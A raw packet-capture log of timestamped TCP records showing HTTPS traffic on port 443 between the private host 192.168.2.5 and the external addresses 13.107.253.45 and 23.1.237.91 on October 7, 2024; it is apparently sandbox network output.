Oct 7, 2024 21:18:16.978959084 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:16.978990078 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.057599068 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.057619095 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.057677031 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.057728052 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.057758093 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.057780981 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.063329935 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.063348055 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.063452959 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.063477993 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.063534021 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.136017084 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.136034966 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.136135101 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.136162043 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.136266947 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.138320923 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.138336897 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.138385057 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.138403893 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.138421059 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.138457060 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.140870094 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.140885115 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.140953064 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.140968084 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.141022921 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.142935038 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.142950058 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.143006086 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.143019915 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.143073082 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.219307899 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.219326973 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.219429970 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.219454050 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.219719887 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.220002890 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.220017910 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.220082045 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.220098019 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.220180035 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.220796108 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.220812082 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.220879078 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.220892906 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.220949888 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.221976042 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.221992016 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.222057104 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.222069979 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.222120047 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.222774982 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.222790956 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.222836971 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.222851038 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.222878933 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.223014116 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.223442078 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.223459005 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.223510981 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.223525047 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.223566055 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.223942995 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.223990917 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.224044085 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.224297047 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.224325895 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.275065899 CEST	49715	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.275127888 CEST	443	49715	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.275434971 CEST	49715	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.276432037 CEST	49716	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.276478052 CEST	443	49716	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.276537895 CEST	49716	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.276704073 CEST	49717	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.276734114 CEST	443	49717	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.276858091 CEST	49717	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.277632952 CEST	49715	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.277662992 CEST	443	49715	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.277754068 CEST	49716	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.277770996 CEST	443	49716	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.277937889 CEST	49717	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.277950048 CEST	443	49717	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.278620958 CEST	49718	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.278626919 CEST	443	49718	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.278870106 CEST	49718	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.280788898 CEST	49719	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.280800104 CEST	443	49719	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.280817032 CEST	49718	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.280827999 CEST	443	49718	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.280906916 CEST	49719	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.281012058 CEST	49719	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.281019926 CEST	443	49719	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.902220964 CEST	443	49715	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.902846098 CEST	443	49716	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.906831026 CEST	49715	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.906843901 CEST	443	49715	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.907278061 CEST	49715	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.907284021 CEST	443	49715	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.908421040 CEST	49716	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.908477068 CEST	443	49716	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.909079075 CEST	49716	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.909095049 CEST	443	49716	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.913615942 CEST	443	49717	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.913980961 CEST	49717	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.913999081 CEST	443	49717	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.914375067 CEST	49717	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.914381027 CEST	443	49717	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.954296112 CEST	443	49719	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.955801010 CEST	49719	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.955821991 CEST	443	49719	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.956264973 CEST	49719	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.956276894 CEST	443	49719	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.960218906 CEST	443	49718	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.960659981 CEST	49718	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.960690975 CEST	443	49718	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:17.961158037 CEST	49718	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:17.961164951 CEST	443	49718	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.008080959 CEST	443	49715	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.008112907 CEST	443	49715	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.008164883 CEST	443	49715	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.008208036 CEST	49715	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.008208036 CEST	49715	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.008635044 CEST	49715	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.008635044 CEST	49715	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.008666992 CEST	443	49715	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.008681059 CEST	443	49715	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.011162043 CEST	49721	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.011202097 CEST	443	49721	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.011276960 CEST	49721	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.011396885 CEST	49721	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.011403084 CEST	443	49721	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.011764050 CEST	443	49716	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.011820078 CEST	443	49716	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.012300014 CEST	49716	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.012300014 CEST	49716	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.012300014 CEST	49716	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.013972044 CEST	49722	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.013981104 CEST	443	49722	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.014044046 CEST	49722	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.014148951 CEST	49722	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.014161110 CEST	443	49722	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.021837950 CEST	443	49717	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.021855116 CEST	443	49717	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.021895885 CEST	443	49717	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.021913052 CEST	49717	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.021941900 CEST	49717	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.022085905 CEST	49717	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.022085905 CEST	49717	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.022099018 CEST	443	49717	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.022106886 CEST	443	49717	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.024013996 CEST	49723	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.024035931 CEST	443	49723	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.024097919 CEST	49723	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.024224043 CEST	49723	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.024236917 CEST	443	49723	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.062427998 CEST	443	49719	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.062454939 CEST	443	49719	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.062514067 CEST	443	49719	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.062515974 CEST	49719	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.062993050 CEST	49719	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.063054085 CEST	49719	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.063102961 CEST	443	49719	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.063157082 CEST	49719	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.063172102 CEST	443	49719	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.065587044 CEST	49724	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.065676928 CEST	443	49724	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.065756083 CEST	49724	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.069977045 CEST	49724	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.070024967 CEST	443	49724	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.074341059 CEST	443	49718	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.074507952 CEST	443	49718	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.074563026 CEST	49718	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.074737072 CEST	49718	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.074754000 CEST	443	49718	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.074767113 CEST	49718	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.074771881 CEST	443	49718	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.076621056 CEST	49725	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.076663971 CEST	443	49725	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.077868938 CEST	49725	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.077979088 CEST	49725	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.077996016 CEST	443	49725	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.315427065 CEST	49716	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.315483093 CEST	443	49716	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.678869009 CEST	443	49722	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.679398060 CEST	49722	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.679425001 CEST	443	49722	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.679871082 CEST	49722	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.679876089 CEST	443	49722	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.687978983 CEST	443	49721	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.688941956 CEST	49721	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.688957930 CEST	443	49721	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.689378023 CEST	49721	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.689382076 CEST	443	49721	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.691179037 CEST	443	49723	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.691654921 CEST	49723	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.691670895 CEST	443	49723	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.692065001 CEST	49723	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.692070007 CEST	443	49723	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.712918043 CEST	443	49724	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.713435888 CEST	49724	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.713496923 CEST	443	49724	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.713797092 CEST	49724	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.713814020 CEST	443	49724	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.735619068 CEST	443	49725	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.737063885 CEST	49725	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.737081051 CEST	443	49725	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.737832069 CEST	49725	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.737837076 CEST	443	49725	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.786366940 CEST	443	49722	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.786411047 CEST	443	49722	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.786473036 CEST	49722	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.796749115 CEST	49722	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.796772957 CEST	443	49722	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.796782970 CEST	49722	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.796788931 CEST	443	49722	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.801208973 CEST	443	49721	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.801367998 CEST	443	49721	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.801429033 CEST	49721	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.809231043 CEST	49728	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.809247971 CEST	443	49728	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.809427977 CEST	49728	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.810003042 CEST	49721	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.810024023 CEST	443	49721	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.810033083 CEST	49721	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.810038090 CEST	443	49721	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.812691927 CEST	49728	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.812702894 CEST	443	49728	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.813788891 CEST	443	49723	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.813851118 CEST	443	49723	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.813941002 CEST	49723	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.819837093 CEST	49723	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.819837093 CEST	49723	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.819845915 CEST	443	49723	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.819853067 CEST	443	49723	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.823923111 CEST	49729	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.823957920 CEST	443	49729	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.824460030 CEST	49729	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.824584007 CEST	49729	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.824589968 CEST	443	49729	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.824892044 CEST	49730	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.824898958 CEST	443	49730	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.824974060 CEST	49730	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.825093985 CEST	49730	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.825102091 CEST	443	49730	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.845845938 CEST	443	49725	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.845915079 CEST	443	49725	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.846132994 CEST	49725	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.846285105 CEST	49725	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.846298933 CEST	443	49725	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.846787930 CEST	49725	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.846795082 CEST	443	49725	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.848340034 CEST	443	49724	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.848448038 CEST	443	49724	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.848514080 CEST	49724	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.848943949 CEST	49724	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.848962069 CEST	443	49724	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.848977089 CEST	49724	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.848984003 CEST	443	49724	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.850271940 CEST	49731	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.850298882 CEST	443	49731	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.850498915 CEST	49731	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.851130962 CEST	49731	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.851144075 CEST	443	49731	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.855153084 CEST	49732	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.855184078 CEST	443	49732	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:18.855638981 CEST	49732	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.855820894 CEST	49732	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:18.855839014 CEST	443	49732	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.182724953 CEST	49703	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:18:19.183301926 CEST	49703	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:18:19.183731079 CEST	49733	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:18:19.183768988 CEST	443	49733	23.1.237.91	192.168.2.5
Oct 7, 2024 21:18:19.183984995 CEST	49733	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:18:19.184166908 CEST	49733	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:18:19.184180975 CEST	443	49733	23.1.237.91	192.168.2.5
Oct 7, 2024 21:18:19.187786102 CEST	443	49703	23.1.237.91	192.168.2.5
Oct 7, 2024 21:18:19.188201904 CEST	443	49703	23.1.237.91	192.168.2.5
Oct 7, 2024 21:18:19.463756084 CEST	443	49729	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.464524031 CEST	49729	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.464548111 CEST	443	49729	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.464946032 CEST	49729	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.464951992 CEST	443	49729	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.485683918 CEST	443	49728	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.486555099 CEST	49728	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.486562967 CEST	443	49728	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.487415075 CEST	49728	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.487420082 CEST	443	49728	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.505311012 CEST	443	49730	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.505737066 CEST	49730	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.505759954 CEST	443	49730	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.506186008 CEST	49730	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.506191969 CEST	443	49730	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.525034904 CEST	443	49731	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.525495052 CEST	49731	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.525511026 CEST	443	49731	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.525923967 CEST	49731	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.525928974 CEST	443	49731	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.539191008 CEST	443	49732	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.539629936 CEST	49732	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.539661884 CEST	443	49732	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.540071964 CEST	49732	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.540081024 CEST	443	49732	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.584244013 CEST	443	49729	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.584291935 CEST	443	49729	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.584424019 CEST	49729	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.584656954 CEST	49729	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.584673882 CEST	443	49729	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.584685087 CEST	49729	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.584691048 CEST	443	49729	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.587740898 CEST	49734	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.587780952 CEST	443	49734	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.588222027 CEST	49734	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.588222027 CEST	49734	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.588252068 CEST	443	49734	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.616489887 CEST	443	49728	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.616569042 CEST	443	49728	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.616666079 CEST	49728	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.616985083 CEST	49728	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.616985083 CEST	49728	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.616996050 CEST	443	49728	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.617003918 CEST	443	49728	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.619752884 CEST	49735	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.619847059 CEST	443	49735	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.619921923 CEST	49735	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.620138884 CEST	49735	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.620172024 CEST	443	49735	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.632550001 CEST	443	49730	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.632702112 CEST	443	49730	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.632765055 CEST	49730	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.632905960 CEST	49730	443	192.168.2.5	13.107.253.45
